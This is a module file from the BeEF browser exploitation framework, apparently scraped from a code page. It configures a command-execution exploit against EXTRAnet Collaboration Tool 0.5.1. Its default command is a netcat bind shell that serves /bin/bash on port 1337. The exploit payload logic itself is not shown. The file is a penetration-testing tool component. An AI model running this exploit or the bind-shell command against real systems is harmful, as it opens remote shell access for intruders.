Path: blob/master/modules/exploits/extract_cmd_exec/module.rb
1154 views
#1# Copyright (c) 2006-2025 Wade Alcorn - [email protected]2# Browser Exploitation Framework (BeEF) - https://beefproject.com3# See the file 'doc/COPYING' for copying permission4###5# Reference: http://itsecuritysolutions.org/2011-12-16-Privilege-escalation-and-remote-inter-protocol-exploitation-with-EXTRACT-0.5.1/6###7# EXTRAnet Collaboration Tool (extra-ct)8# Version: 0.5.19# Homepage: http://www.extra-ct.net/10# Source: http://code.google.com/p/extra-ct/11# Source: http://sourceforge.net/projects/extract/12###13class Extract_cmd_exec < BeEF::Core::Command14def self.options15[16{ 'name' => 'rhost', 'ui_label' => 'Remote Host', 'value' => '127.0.0.1' },17{ 'name' => 'rport', 'ui_label' => 'Remote Port', 'value' => '10100' },18{ 'name' => 'timeout', 'ui_label' => 'Timeout (s)', 'value' => '15' },19{ 'name' => 'cmd', 'ui_label' => 'Commands', 'description' => 'Enter shell commands to execute. Note: Spaces in the command are not supported.', 'type' => 'textarea',20'value' => '{netcat,-l,-p,1337,-e,/bin/bash}', 'width' => '200px' }21]22end2324def post_execute25save({ 'result' => @datastore['result'] }) unless @datastore['result'].nil?26save({ 'fail' => @datastore['fail'] }) unless @datastore['fail'].nil?27end28end293031